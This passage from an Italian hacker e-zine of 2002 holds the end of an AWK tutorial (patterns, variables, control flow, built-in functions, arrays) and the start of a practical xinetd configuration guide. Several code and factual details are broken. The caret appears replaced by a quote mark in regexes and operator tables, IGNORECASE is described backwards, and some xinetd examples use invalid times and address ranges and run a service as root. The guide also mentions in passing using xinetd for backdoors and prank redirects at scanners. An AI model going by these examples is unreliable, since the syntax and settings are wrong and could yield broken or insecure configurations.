| operatore di concatenazione di stringhe (quindi i numeri sono |
| trattati come tali). |
| |
| E' possibile fare riferimento, al posto del pattern, all'inizio o al |
| termine della lettura del file; ad esempio le regole |
| |
| BEGIN { print "Ecco il risultato di AWK:" } # Esegue l'azione prima |
| # della lettura |
| |
| 1 { print $0 } # Questi commenti sono |
| # ignorati da AWK |
| |
| END { print "Resoconto terminato." } # Esegue l'azione dopo |
| # la lettura |
| |
| stampano il contenuto di un intero file, aggiungengo all'inizio e |
| alla fine delle stringhe di testo. Nella 2a regola come condizione |
| ho indicato "1" al posto di un pattern, poichè un qualsiasi valore |
| diverso da 0, per AWK, equivale a VERO, per cui per ogni riga 1 |
| restituirà VERO e verrà applicato il comando "print $0" (di |
| conseguenza, 0 = FALSO, Watson!). |
| |
| Per cui, che si tratti di un pattern, di un confronto o di una |
| indicazione esplicita d valori booleani, è come se la condizione a |
| sinistra sia simile ad una struttura IF, e solo se questa |
| restituisce vero (ossia verificando la corrispondenza di un pattern |
| con una stringa oppure confermando che un eventuale confronto sia |
| giusto) vengono eseguite delle azioni. |
| |
| Altri esempiacci: |
| |
| Dato il file lista.txt, contenente l'output di "ls -la", supponiamo |
| che sia passato all'elaborazione di questo script prova.awk . |
| |
| #!/usr/bin/awk -f |
| |
| $1 ~ /"-/ { |
| |
| totale += $5; # Il ; separa le istruzioni. |
| print "Trovato il file " \ # Lo \, se si trova IN FONDO ad una |
| $9 # riga, permette di scrivere un |
| # comando su più righe |
| } |
| |
| END { print "Totale = " totale } |
| |
| Questo script legge l'output di "ls -la" e, come nel caso |
| precedente, ne esamina i campi. Nella prima regola, l'operatore ~ |
| confronta il campo $1 (contenente ad esempio "-rw-r--r--") con la |
| regex "/"-/", la quale verifica che all'inizio del campo vi debba |
| essere esclusivamente un - (questo non accade, ad esempio, nel caso |
| delle directory). Per cui, grazie a questa regola, potremo far sì |
| che le istruzioni da noi indicate riguardino solamente i file e non |
| gli altri elementi nella directory. Dopodichè, per ogni file |
| trovato, l'interprete aggiunge la sua dimensione alla variabile |
| TOTALE (poichè non è stata dichiarata in precedenza, il suo valore |
| viene automaticamente settato come uguale a 0). |
| Inoltre, viene stampata la riga "Trova il file NOMEFILE". Alla fine |
| la variabile TOTALE conterrà la dimensione di tutti i file e sarà |
| stampata sullo schermo. L'opposto di "~" è l'operatore "!~" (! |
| corrisponde sempre alla negazione logica). Nel caso in cui sia |
| presente solamente il pattern, allora si sottindende la sintassi |
| |
| $0 ~ /regex/ |
| |
| PS: Per invertire il significato logico della condizione avrei anche |
| potuto scrivere (questo vale in generale): |
| |
| !( $1 ~ /"-/) { istruzioni... } |
| |
| Dato invece il seguente script |
| |
| $0 ~ /\/\*/, /\*\// { print $0 } # Le due regex contengono "/*" e |
| # "*/" protetti da alcuni \ |
| |
| vengono stampate le eventuali righe di commento racchiuse tra i |
| simboli "/*" e "*/" di un sorgente C. Infatti la sintassi |
| |
| espressione1, espressione2 |
| |
| indica all'interprete di applicare le istruzione indicate alla riga |
| che soddisfa ESPRESSIONE1, e anche a tutte le righe seguenti finchè |
| una di esse non soddisfa ESPRESSIONE2; dopodichè, le righe seguenti |
| vengono esaminate e se viene riscontrata ancora ESPRESSIONE1 le |
| istruzioni vengono nuovamente applicate alle righe fino al riscontro |
| di ESPRESSIONE2, e così via.
|
| |
| |
| ESPRESSIONI REGOLARI |
| |
| |
| Che cosa vi avevo detto? Andatevi a leggere il mio articolo sulle |
| Regular Expression, perchè le cose non le voglio ripetere due volte! |
| Oltre ai metacaratteri che ho già descritto, GAWK contiene i |
| seguenti: |
| |
| \w Comprende lettere, numeri e underscore (come [[:alnum:]_]). |
| \W Contrario del precedente (come ["[:alnum:]_]). |
| \< Combacia con una stringa vuota davanti alla parola. |
| (es. /\<Domine/ combacia con Domine, non con SigDomine) |
| \> Combacia con una stringa vuota alla fine della parola. |
| (simile a \<) |
| \y Combacia con una stringa vuota all'inizio e alla fine di |
| una parola. |
| \B Combacia con una stringa vuota all'interno di una parola |
| (opposto di \y). |
| |
| |
| VARIABILI PREDEFINITE |
| |
| FS Separatore di campo in input. (predefinito " ") |
| |
| OFS Separatore di campo in output. " " " |
| |
| RS Separatore di record input. (predefinito "\n") |
| |
| ORS Separatore di record in output. " " " |
| |
| IGNORECASE * Se è diversa da 0 o da "", i confronti tra stringhe |
| e le regex sono CASE SENSITIVE. |
| |
| ARGV L' array contenente gli argomenti passati allo |
| script. (ARGV[0] == awk) |
| |
| ARGC Il numero di elementi contenuti da ARGV. |
| |
| ERRNO * Contiene una stringa che descrive un eventuale |
| errore. |
| |
| FILENAME Nome del file attuale in input ("-" se legge dallo |
| STDIN). |
| |
| FNR Contiene il numero del record letto dal file attuale. |
| |
| NF Numero di campi nel record attuale in input. |
| |
| NR Numero di record letti da AWK fino a quel momento. |
| |
| RLENGTH Contiene la lunghezza riscontrata dall'ultimo uso di |
| match(). |
| |
| RSTART Contiene l'inizio del riscontro dell'ultimo uso di |
| match(). |
| |
| |
| * si tratta di estensioni particolari di GAWK |
| |
| |
| Fondamentale per AWK è il valore delle variabili FS ed RS. La prima |
| infatti contiene il carattere che l'interprete leggerà come |
| separatore di campi, e può contenere anche un'espressione regolare; |
| il suo valore è " " e permette di separare campi incolonnati tramite |
| uno o più spazi. La seconda definisce il carattere per separare i |
| dati in ingresso in record, ed è settata come "\n", l'interruzione |
| di riga nella maggior parte degli Unix; se fosse settata come |
| "", la separazione avverrebbe tramite le righe vuote. |
| |
| Sì può settare il separatore di campi anche al momento del richiamo |
| dell'interprete con l'opzione "-F" seguita dal carattere scelto. E' |
| possibile inoltre settare una o più variabili sempre in quel momento |
| con l'opzione "-v" seguita dalla coppia "nome=valore". |
| |
| |
| STRUTTURE DI CONTROLLO |
| |
| AWK offre i costrutti di controllo simili a quelli del linguaggio C. |
| Per racchiudere più istruzioni, quest'ultime vanno racchiuse da |
| parentesi graffe e separate tra di loro da un punto e virgola o un |
| ritorno a capo. |
| |
| Vi scrivo la sintassi e un esempio per ognuna, poi ve la piangete |
| voi (tanto la solfa è sempre la stessa) :-] |
| |
| |
| if (condizione) istruzioni [else istruzioni] |
| |
| |
| if (x % 2 == 0) |
| print "x è pari" |
| else |
| print "x è dispari" |
| |
| --- |
| |
| while (condizione) |
| istruzioni |
| |
| |
| { i = 1 |
| while (i <= 3) { |
| print i |
| i++ |
| } |
| } |
| |
| --- |
| |
| do |
| istruzioni |
| while (condizione) |
| |
| |
| { i = 1 |
| do { |
| print $0 |
| i++ |
| } while (i <= 10) |
| } |
| |
| --- |
| |
| for (inizializzazione; condizione; incremento) |
| istruzioni |
| |
| |
| { for (i = 1; i <= 3; i++) |
| print i |
| } |
| |
| --- |
| |
| ciclo () { |
| istruzioni |
| break # interrompe il ciclo |
| } |
| |
| |
| # trova il divisore più piccolo di un numero |
| { num = $1 |
| for (div = 2; div*div <= num; div++) |
| if (num % div == 0) |
| break |
| if (num % div == 0) |
| print "Il divisore più piccolo di " num " è " div |
| else |
| print num " è un numero primo" |
| } |
| |
| Un esempio creativo, certamente! :-)) |
| |
| --- |
| |
| ciclo () { |
| istruzioni |
| continue # Conclude l'iterazione corrente |
| istruzioni |
| } |
| |
| |
| { |
| for (x = 0; x <= 20; x++) { |
| if (x == 5) |
| continue # Se x = 5, non esegue "print x" ma ritorna a |
| # for; per cui lo script stampa i numeri da 1 |
| print x # a 20 tranne il 5. |
| } |
| } |
| |
| --- |
| |
| PS: Esiste, così come per altri linguaggi, una sintassi alternativa |
| per IF: |
| |
| condizione ? istruzioni1 : istruzioni2 |
| |
| Se CONDIZIONE restituisce vero, vengono eseguite le ISTRUZIONI1, in |
| caso contrario ISTRUZIONI2 |
| |
| --- |
| |
| I prossimi li spiego, và :-) |
| |
| - NEXT |
| |
| Forza AWK ad interrompere l'elaborazione del record attuale per |
| passare al prossimo, per cui nessuna altra regola viene eseguita per |
| quel record. |
| |
| NF != 4 { |
| print "Riga n " FNR " saltata: NF != 4" > "/dev/stderr" |
| next |
| } |
| |
| Questa regola fa sì che non vengano elaborate i record con un numero |
| di campi diverso da 4, e stampa un errore sullo STDERR. |
| |
| - NEXTFILE |
| |
| Simile a NEXT, questo fa in modo che l'elaborazione del file |
| corrente sia interrotta per passare poi al file successivo indicato |
| dalla riga di comando. |
| Se non è stato specificato un altro file all'avvio dello script, |
| l'interprete esegue le istruzioni associate ad END e termina la sua |
| esecuzione. NEXTFILE è fornito da GAWK. |
| |
| - EXIT |
| |
| exit [valore di uscita] |
| |
| Causa l'interruzione immediata dell'esecuzione dello script, e |
| restituisce il valore specificato (altrimenti, 0). |
| |
| |
| FUNZIONI INTERNE (BUILT-IN) |
| |
| Le funzioni seguenti sono interne all'interprete, e sono |
| richiamabili in qualunque istante. Basta indicarne il nome seguito |
| dagli argomenti, racchiusi fra parentesi tonde (indicherò tra [] gli |
| argomenti opzionali). NON SI DEVE mettere alcuno spazio tra il nome |
| della funzione e le (). :-P |
| |
| |
| - FUNZIONI NUMERICHE |
| |
| |
| - int(x) |
| |
| Restituisce la parte intera del numero specificato. |
| |
| - sqrt(x) |
| |
| Restituisce la radice quadrata di x (se x<0, darà errore). |
| |
| - exp(x) |
| |
| Restituisce "e" (~ 2.71828) elevato alla x (see: man nepero :-]). |
| |
| - log(x) |
| |
| Restituisce il logaritmo naturale (in base "e") di x. |
| |
| - sin(x) |
| |
| Restituisce il seno di x (x espresso in radianti). |
| |
| - cos(x) |
| |
| Restituisce il coseno di x (x espresso in radianti). |
| |
| - atan2(y,x) |
| |
| Restituisce l'arcotangente di y / x (sempre in radianti). |
| |
| - rand() |
| |
| Restituisce un numero a caso tra 0 e 1. |
| |
| PS: la seguente funzione |
| |
| function casuale(n) { int(rand() * n) } |
| |
| restituisce un numero fra 0 ed n. |
| |
| - srand([x]) |
| |
| Emette una sequenza di numeri pseudo-casuali in base al valore di x. |
| In pratica, se richiamo 2 volte la funzione con x inalterato, |
| otterrò per 2 volte la stessa sequenza numerica. Se x non è |
| specificato, viene usato un numero composto dalla data ed ora |
| odierna. |
| |
| |
| - FUNZIONI DI MANIPOLAZIONE DI STRINGHE |
| |
| |
| - index(stringa, find) |
| |
| Cerca FIND in STRINGA, e restituisce la posizione di FIND |
| all'interno di STRINGA. |
| |
| index("Vercingitorige","tori") # Restituisce 9, il numero della |
| # posizione della lettera "t" |
| |
| - length([stringa]) |
| |
| Restituisce il numero di caratteri di STRINGA, oppure il numero di |
| cifre di un numero indicato in STRINGA. |
| |
| Notare: length(3 * 4) restituisce 2, perchè AWK esegue prima |
| un'espansione aritmetica del contenuto, essendoci l'operatore "*" . |
| |
| Se STRINGA non viene specificata, viene usata $0. |
| |
| - match(stringa, regex) |
| |
| Cerca all'interno di STRINGA, a partire da sinistra, un riscontro con |
| l'espressione regolare REGEX, restituendo la posizione del carattere |
| iniziale della sottostringa trovata (vedi INDEX). Se non viene |
| trovato riscontro, restituisce 0. L'index trovato viene annotato |
| nella variabile RSTART, mentre la lunghezza della sottostringa |
| trovata va in RLENGTH (pari a -1 se non viene trovato un riscontro). |
| |
| - split(stringa, array [, separatore]) |
| |
| Divide la STRINGA in più parti in base al SEPARATORE specificato, e |
| copia le varie parti nell'ARRAY a partire da ARRAY[1]. Infine |
| restituisce un numero pari al numero di parti ottenute dallo split |
| di STRINGA. Se SEPARATORE non viene specificato, viene usata la |
| variabile FS; esso può essere anche una espressione regolare. |
| |
| split("31/08/2001",arrei,"/") # arrei[1]=31, arrei[2]=08, |
| arrei[3]=2001 |
| |
| - sprintf(formato, espressione1,..) |
| |
| Restituisce (senza stampare sullo schermo) quello che avrebbe |
| stampato printf() con quegli argomenti... man printf !! |
| |
| - sub(regex, rimpiazzo [, obiettivo]) |
| |
| Cerca all'interno della stringa OBIETTIVO l'espressione regolare |
| REGEX, e sostituisce la sottostringa trovata con il contenuto di |
| RIMPIAZZO. SUB modifica quindi il contenuto della variabile |
| OBIETTIVO (se non viene specificata, viene usata $0). Infine |
| restituisce il numero di sostituzioni effettuate (0 oppure 1). |
| |
| stringa = "sopra la panca la capra campa" |
| sub(/panca/,"panchina",stringa) |
| print stringa # stampa: sopra la panchina la capra campa |
| |
| E' possibile fare riferimento, sempre all'interno di SUB, alla |
| sottostringa trovata tramite la variabile "&" . Si può quindi |
| aggiungere, invece che sovrascrivere. |
| |
| stringa = "My nick is Domine" |
| sub(/Domine/,"Mr. &",stringa) |
| print stringa # stampa: My nick is Mr. Domine |
| |
| - gsub(regex, rimpiazzo [, obiettivo]) |
| |
| Stessa cosa di SUB, soltanto che opera su TUTTI i riscontri trovati |
| su OBIETTIVO. Restituisce il numero di rimpiazzi effettuati. |
| |
| - gensub(regex, rimpiazzo, modalità [, obiettivo]) |
| |
| Stessa cosa di SUB e GSUB, soltanto che non modifica il contenuto di |
| OBIETTIVO ma restituisce essa stessa la stringa ottenuta dopo |
| l'eventuale sostituzione. |
| Se MODALITA' è una stringa che comincia per "g" o "G", tutti i |
| riscontri vengono sostituiti, altri deve essere un numero, che |
| indicherà quale dei riscontri rimpiazzare. Inoltre, è possibile |
| riferirsi alle parti della REGEX all'interno del rimpiazzo, usando |
| le () e variabili di tipo \n (n è un numero fra 1 e 9). |
| |
| { |
| stringa = "domine@paranoici.org" |
| print gensub(/(.+)\@(.+)/, "\\1 at \\2", "g", stringa) |
| # stampa: domine at paranoici.org |
| } |
| |
| { |
| stringa = "altavista" |
| print gensub(/t/, "p", 2, stringa) |
| # sostituisce solo la 2a "t", quindi stampa "altavispa" |
| } |
| |
| - substr(stringa, inizio [, lunghezza]) |
| |
| Restituisce una sottostringa di STRINGA a partire dal carattere |
| numero INIZIO e prendendo numero LUNGHEZZA caratteri (oppure i |
| caratteri fino alla fine della stringa iniziale, se LUNGHEZZA non è |
| specificato). |
| |
| substr("disonore", 4) # stampa: onore (thanks to H. J. Simpson :-)) |
| |
| substr("domine@paranoici.org", 3, 4) # stampa: mine |
| |
| - tolower(stringa) |
| |
| Restituisce STRINGA con tutti i caratteri minuscoli. |
| |
| - toupper(stringa) |
| |
| Restituisce STRINGA con tutti i caratteri maiuscoli. |
| |
| |
| FUNZIONI DEFINITE DALL'UTENTE |
| |
| AWK permette che una serie di istruzioni vengano associate ad una |
| funzione, la quale si comporterà proprio come un comando interno |
| dell'interprete. |
| |
| |
| function nome(argomenti) { |
| istruzioni |
| } |
| |
| |
| All'interno delle parentesi vanno indicati gli argomenti che verrano |
| passati alla funzione, e non sarà possibile definire in altro modo |
| altre variabili locali della funzione. |
| |
| function somma(x, y) { |
| z = x + y |
| return z |
| } |
| |
| BEGIN { |
| print somma(1,3) # Chi l'ha detto che solo 2 + 2 fa 4 ? :-P |
| } |
| |
| Il classico esempio di somma tra 2 interi :-)) |
| |
| |
| OPERATORI |
| |
| Ecco una lista degli operatori utilizzati da AWK (qui ordinati in |
| base alla loro precedenza rispetto agli altri). |
| |
| () Raggruppamento (L'operazione al loro interno ha la |
| precedenza, e vengono utilizzate per nidificare gli |
| operatori). |
| |
| $ Indica che ci si sta riferendo ad un campo. |
| |
| ++ -- Incremento e decremento |
| |
| " Esponenziale |
| |
| + - ! Più, meno e negazione logica (unari). |
| |
| * / % Moltiplicazione, divisione, modulo. |
| |
| + - Addizione, sottrazione |
| |
| Concatenazione (viene utilizzato uno spazio vuoto). |
| |
| < <= == != > >= >> | Relazione e ridirezione (hanno la stessa |
| precedenza). |
| |
| ~ !~ Corrispondenza, Non Corrispondenza. |
| |
| in Unione di array. |
| |
| && "And" logico. |
| |
| || "Or" logico. |
| |
| ?: Condizionale. |
| |
| = += -= *= /= %= "= Assegnamento. |
| |
| |
| ARRAY |
| |
| AWK permette l'utilizzo di array mono-dimensionali di tipo |
| associativo (ossia l'indice di ogni elemento è considerato come una |
| stringa, anche se numerio)... un po' tipo gli hash in PERL :-) |
| |
| La dichiarazione dei nomi e dei contenuti degli elementi di un array |
| avviene in modo analogo a quello delle variabili, anche se non è |
| possibile utilizzare una variabile come parte di un array e |
| viceversa. |
| |
| arri[1]="blahblah" |
| arri["blah"]="1" |
| arri["cane"]="bau" |
| arri[10]="dieci" |
| |
| ecco un esempio strampalato di array misto :-) |
| |
| Il semplice riferirsi ad un array o ad un suo elemento inesistente |
| fa sì che questo venga creato; se non sono assegnati valori |
| l'elemento conterrà "". Per verificare si può ricorrere |
| all'operatore IN |
| |
| indice in array |
| |
| Se ARRAY[INDICE] esiste, IN restituisce 1, oppure 0 in caso |
| contrario. |
| |
| Per effettuare la scansione di un array si utilizza invece il |
| costrutto FOR |
| |
| for (var in array) |
| istruzioni |
| |
| Questo ciclo esegue ISTRUZIONI per ogni elemento dell'array; per ogni |
| iterazione, l'indice dell'elemento corrente viene assegnato alla |
| variabile VAR. |
| |
| { |
| for (i = 1; i <= NF; i++) { |
| campi[$i] = 1 |
| } |
| for (x in campi) { |
| if (x ~ /ciao/) { |
| print "Sottostringa riscontrata nel campo " x |
| } |
| } |
| } |
| |
| Questo script assegna prima i campi del record ad un indice |
| dell'array CAMPI, dopodichè cerca all'interno di questi indici una |
| espressione regolare e stampa un messaggio indicante quale campo |
| conteneva la regex. |
| |
| L'ordine con cui si accede agli array non è prevedibile quindi |
| bisogna stare mooolto attenti a quel che si scrive :-) |
| |
| { |
| x = 0 |
| for (i = NF; i >= 1; i--) { |
| campi[x] = $i |
| x++ |
| } |
| x = 0 |
| for (i in campi) { |
| printf("%s ",campi[x]) |
| x++ |
| } |
| printf("\n"); |
| delete campi |
| } |
| |
| Avete appena visto un bel modo di scannare gli elementi di un array |
| in modo ordinato! Alla fine, questo script stamperà il documento |
| disponendo al contrario l'ordine delle parole :-] |
| |
| Ecco alcuni modi per eliminare gli elementi di un array: |
| |
| delete array[indice] # oppure il semplice delete array |
| |
| for (var in array) |
| delete array[var] |
| |
| split("", array) # In tal modo split sovrascrive con "" |
| # l'intero array |
| |
| |
| THE END (!) |
| |
| Evvabbè penso che sia sufficiente... Se volete saperne di più a |
| riguardo, le porte di internet sono aperte :-) |
| |
| Byez |
| |
| |
| |
| by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #07 - 01/08/2002 |
| GUiDA PRATiCA ALL0 XiNETD [CiLi0] 0x0B/0x19 |
+--------------------------------------------------------------------------+
| |
| |
| a8888b. |
| d888888b. |
| 8P"YP"Y88 ================================== |
| 8|.||.|88 GUIDA PRATICA ALLO XINETD |
| 8' .88 By CiLi0 |
| 8`._.' Y8 |
| --- MENU --- best view 1024x768 |
| with /dev/brain |
| |
| ° INTRODUZIONE |
| ° XINETD : COS'E' ? |
| ° A COSA MI SERVE ? ===== powered by GNU/Emacs ====== |
| ° COME LO CONFIGURO ? |
| - valori essenziali |
| - esempio |
| - valori supplementari |
| - esempi |
| ° LOG DELLE CONNESSIONI |
| ° OPERATORE D'ASSEGNAZIONE |
| ° USO FILE ESTERNI |
| ° USO CON SERVER STANDARD |
| ° CONCLUSIONE |
| |
| --- MENU --- |
| |
| |
| |
| 0 - INTRODUZIONE |
| |
| |
| io sono solo un newbie, tutto quello riportato è frutto di esperienze |
| personali e quindi del tutto discutibili : qualcosa potrebbe essere |
| sbagliato o non funzionante, o potrei aver scritto grosse stupidate. |
| Me ne scuso in anticipo e spero che l'articolo soddisfi, almeno in |
| minima parte, le |
| vostre richieste di "lettore". |
| |
| DeDiCaTe To : green_beret (NO COMMENT :), rubin (anche se non se lo |
| merita :), Linus Torvalds( solo una cosa si può scrivere :-**** ), |
| Neatius&AtomoZero(BE DIFFERENT ) |
| |
| TeMPo Di LaVoRaZioNe : 3 giorni (15/05/02 - 18/05/02 ) |
| |
| MuSiCa : Punkreas, Rancid e tutti gli altri punkinari... |
| |
| |
| E adesso si comincia... :))) |
| |
| |
| 1 - XINETD : COS'E' ? |
| |
| "xinetd performs the same function as inetd: it starts pro- grams that |
| provide Internet services. Instead of having such servers started |
| at system initialization time, and be dormant until a connection |
| request arrives, xinetd is the only daemon process started and it |
| listens on all service ports for the services listed in its |
| configuration file. When a request comes in, xinetd starts the |
| appropriate server. Because of the way it operates, xinetd (as well |
| as inetd) is also referred to as a super-server." |
| |
| |
| tralasciando il mio pessimo inglese,potremmo dire, traducendo (molto |
| liberamente) che lo xinetd non è altro che una sofisticazione del |
| vecchio inetd. Anch'esso è un (internet) super-daemon. Una volta fatto |
| partire è l'unico(insieme al tcp_wrapper) che si occupa della gestione |
| delle connessioni ai vari demoni presenti sul sistema. Le Opzioni di |
| xinetd sono innumerevoli e molto interessanti(basta vedere la man |
| page), integra un tcp_wrapper interno molto completo, permette di |
| redirigire connessioni indirizzate a determinate porte verso un altro |
| host e molto di più. |
| |
| 2 - A COSA MI SERVE ? |
| |
| la risposta diventa ovviamente scontata, senza lo xinetd non è |
| possibile gestire i diversi demoni come sendmail,ssh,telnetd,ftpd e |
| tutti gli altri. E' inoltre utile per creare backdoor (come si faceva |
| con inetd) o,al contrario, creare falsi server netbus,bo2k,sub7 etc.. |
| in modo da divertirsi di tanto in tanto con il lamero di turno. |
| Quest'ultima opzione può essere sfruttata più seriamente per creare |
| dei propri server personali. |
| |
| |
| |
| 3 - COME CONFIGURARLO ? |
| |
| il cuore che fa si che xinetd possa funzionare è il file di |
| configurazione /etc/xinetd.conf , configurando a dovere quest'ultimo |
| file è possibile far fare quel che si vuole allo xinetd. Vediamo ora |
| come strutturare un possibile servizio xinetd. Per prima cosa si crea |
| una funzione (se così si può definire di questo tipo: |
| |
| service nomeservizio |
| { |
| attributo <opzioni attributo> |
| ... |
| } |
| |
| si può creare service telnet , service ftp o quel che si vuole. |
| Passiamo ora all'analisi degli attributi, ovvero il corpo della |
| funzione riguardate qualsiasi servizio,i quali permettono di |
| influenzare il comportamen to.come,giustamente la man page dice, i |
| fondamentali sono : |
| |
| |
| 1 socket_type |
| 2 user |
| 3 wait |
| 4 server |
| 5 port |
| 6 protocol |
| |
| 1 - da qui si decide il tipo di pacchetto da utilizzare stream(tcp) |
| dgram (udp) raw(raw socket) |
| |
| 2 - determina l'uid del demone, questo valore non è preso in |
| considerazioen se uid dello stesso xinetd non è 0 (root) |
| |
| 3 - al pari dell'opzione del vecchio inetd,serve a decidere se il |
| server è multi-threaded oppure no, ovvero se gestire più connessioni o |
| solo una alla volta |
| |
| 4 - si indica il path dove è situato il server, ad esempio |
| /usr/sbin/in.telnetd o quel che si voglia. |
| |
| 5 - la porta su cui il server si mette il listening, se questa è una |
| porta standard(ovvero è presente in /etc/services ) il nome del |
| servizio deve essere uguale a quello descritto nella prima colonna di |
| services. Nel caso invece non fosse una porta standard, va aggiunta a |
| /etc/services secondo la sintassi di quest'ultimo. |
| |
| 6 - il protocollo utilizzato per instaurare la connessione, i valori |
| accettati sono quelli definiti in /etc/protocols, se si tratta di un |
| proto non presente in quest'ultimo file , si usa il protocollo di |
| default del server lanciato. |
| |
| |
| ad esempio |
| |
| service telnet |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = nobody |
| server = /usr/sbin/in.telnetd |
| } |
| |
| |
| Proviamo allora a creare un semplice shell script (che sarà il nostro |
| server) con la classica scritta "Hello World!" e a farla apparire ad |
| una connessione avvenuta sulla porta 615(non standard, quindi va |
| aggiunto a /etc/services) |
| |
| hmmp-ind 612/udp dqs313_intercell # HMMP Indication / DQS |
| ldaps 636/tcp # LDAP over SSL |
| |
| |
| lo faccio diventare : |
| |
| |
| hmmp-ind 612/udp dqs313_intercell # HMMP Indication / DQS |
| hello 615/tcp hello #prova per xinetd |
| ldaps 636/tcp # LDAP over SSL |
| |
| |
| |
| (ricordiamoci che services è case-sensitive) |
| Creiamo lo script |
| |
| |
| [root@localhost cili0]# vi /etc/services |
| [root@localhost cili0]# cat << EOF > hello.sh |
| > #! /bin/sh |
| > echo "Hello World!" |
| > EOF |
| [root@localhost cili0]# chmod +x hello.sh |
| [root@localhost cili0]# ./hello.sh |
| Hello World! |
| [root@localhost cili0]#mv /home/cili0/hello.sh /usr/sbin/in.hello |
| |
| |
| ora posso editare xinetd.conf ed aggiungere |
| |
| service hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| } |
| |
| aggiungere hello ad hosts.allow : |
| |
| [root@localhost cili0]# echo "in.hello:127.0.0.1" >> /etc/hosts.allow |
| |
| |
| fatto ciò dobbiamo killare internet daemon con un segnale appropriato, |
| non SIGHUP come molti si sarebbero aspettati, ma bensi SIGUSR2. Detto |
| fatto: |
| |
| [root@localhost cili0]# ps -ax | grep xinetd |
| 801 ? S 0:00 xinetd -stayalive -reuse -pidfile |
| /var/run/xinetd.pid |
| 1641 pts/1 S 0:00 grep xinetd |
| [root@localhost cili0]# kill -12 801 |
| |
| (possiamo anche mandare SIGQUIT,in modo da chiudere xinetd,entrare in |
| una shell nativa come root e dgtare xinetd -stayalive -reuse -pidfile |
| /var/run/xinetd.pid ) |
| |
| Ecco fatto il nostro servizio con l'accoppiata xinetd/tcpd proviamo il |
| nosto serverino : |
| |
| |
| [root@localhost cili0]# exit |
| exit |
| [cili0@localhost cili0]$ telnet 127.0.0.1 615 |
| Trying 127.0.0.1... |
| Connected to 127.0.0.1. |
| Escape character is '"]'. |
| Hello World! |
| Connection closed by foreign host. |
| [cili0@localhost cili0]$ |
| |
| Bene tutto funziona :)) ma abbiamo esaminato solo una minima parte |
| della potenza che xinetd ci mette a disposizione.Vediamo qualche altra |
| opzioncina simpatica :) |
| |
| prima di tutto l'opzione di tcp_wrapper interna, della quale avevo già |
| accennato le possibilità, in questo caso l'attributo da utilizzare è |
| questo : |
| |
| only_from : può qui essere specificato un signolo indirizzo IP come un |
| range. Le forme acettate da questo attributo sono : |
| |
| 1- ip singolo : 131.145.32.13 (può essere sostituito a 127.0.0.1) |
| 2- subnet : 131.145.32.0, in questo modo tutto la subnet può |
| avere acesso a questo servizio da 131.145.32.0 fino a 255 |
| (0.0.0.0 è quindi tutto internet ) |
| 3- range ip : 131.145.32/44 solo gli indirizzi da 32 a 44(compresi) |
| |
| |
| quando si hanno più indirizzi,singoli,più range di ip,più subnet si |
| distanziano l'una dall'altra con uno spazio |
| |
| only_from = 131.145.32.5 192.175.32.3/9 151.121.234.0 |
| |
| Tornando a casi più semplici, basta aggiungere, per esempio : |
|
|
| only_from = 131.145.32.0/132 (permette la connessione solo ad un range |
| di ip) |
| |
| NB : se /usr/sbin/tcpd (tcp_wrapper) è già installato, questa |
| funzionalità diventa marginale, dato che comunque è necessario editare |
| /etc/hosts.allow e hosts.deny. Se invece tpcd non è installato l'unico |
| modo per filtrare le connessioni è questo. |
| |
| |
| Sempre sulla scia delle limitazioni :) è possibile impostare la banda |
| massima che il servizio deve utilizzare, l'arco di tempo in cui il |
| servizio è disponibile o a chi non rendere disponibile il |
| servizio,quante persone possono usufruire contemporaneamente del |
| service e quanta memoria massima può utilizzare : |
| |
| 1 no_access |
| 2 access_times |
| 3 instances |
| 4 rlimit_as |
| 5 deny_time |
| 6 redirect |
| 7 server_arg |
| |
| 1 - non si dovrebbe nemmeno commentare :) segue comunque le stesse |
| regole sintattiche di only_from e serve *naturalmente* a decidere CHI |
| non può entrare. |
| |
| 2 - grazie a questo attributo si può sceglire l'arco di tempo in cui è |
| possibile collegarsi la sintassi è la seguente --> ora:mininizio |
| -minfine:mininizio si può quindi spaziare con un intervallo ce va da 0 |
| fino a 59 minuti. Le ore sono accettare da 0-23. Anche in questo |
| caso se si hanno più orari basta dividerli con uno spazio. |
| |
| 3 - potete stabilire quante persone contemporaneamente possono |
| connettersi. Accetta SOLO un valore. |
| |
| 4 - si può impostare quanta memoria il servizio ha a disposizione. Il |
| valore può essere espresso in M o K (case-sensitive, mi raccomando |
| maiuscole) |
| |
| 5 - stesse regole di access_time, ma questa volta si decidono gli |
| orari un cui non far entrare. |
| |
| 6 - veramente simpatica questa opzione permette di fare un redirect |
| verso un altro host. la sintassi è questa redirect = 192.145.23.45 25 |
| quindi <ip> <porta> ESEMPIETTO : mettiamo il caso che qualcuno si |
| connetta frequentemente ad una porta del vostro pc loggando il suo |
| ip(vedi sezione 4) aggiugnendo un redirect alla stessa porta questo |
| qui vedrà il suo firewall avvisarlo di un attacco identico al suo |
| sulla medesima porta :) lo so che può sembrare stupido ma la cosa |
| diventerebbe divertente :) |
| |
| 7 - gli argomenti da passare al server, ad esempio nel caso del wu_ftp |
| potrebbero essere: |
| |
| server_args= -l -a (vero rubin :) ? ) |
| |
| |
| possiamo quindi creare qualcosa di simile : |
| |
| service hello |
| { |
| socket_type = stream |
| protocol = tcp |
| wait = no |
| user = root |
| server = /usr/sbin/in.hello |
| only_from = 191.145.34.0 |
| no_access = 142.23.43.5/15 |
| access_times = 9:00-43:00 |
| instances = 13 |
| rlimit_as = 3M |
| deny_time = 23:00-23:00 |
| } |
| |
| Mi sembra tutto abbastanza lineare o no :) ? |
| |
| |
| |
| 4 - LOG DI CONNESSIONI |
| |
| mi è sembrato opportuno dedicare una sezione a parte per parlare del |
| modo in cui xinetd logga le connesioni avvenute con sucesso e non e |
| sopratutto dove vanno a finire questi preziosi dati . I principali |
| attributi sono : |
| |
| |
| 1 log_type |
| 2 log_on_succes |
| 3 log_on_failure |
| |
| |
| |
| 1 - decide in che modo salvare le informazioni. Può essere un file o |
| decidere di farli gestire a syslog io,personalmente,preferisco salvari |
| in un file ASCII perchè molto più veloce e semplice da configurare (se |
| però preferite syslog basta un $man xinetd.conf ). Per impostare |
| questo file si usa la sintassi : |
| |
| log_type = FILE nomefile |
| |
| se il file non esiste viene creato automaticamente da xinetd. E' anche |
| possibile scegliere una dimensione massima del file,ma lo ritengo |
| sconveniente e poco pratico. |
| |
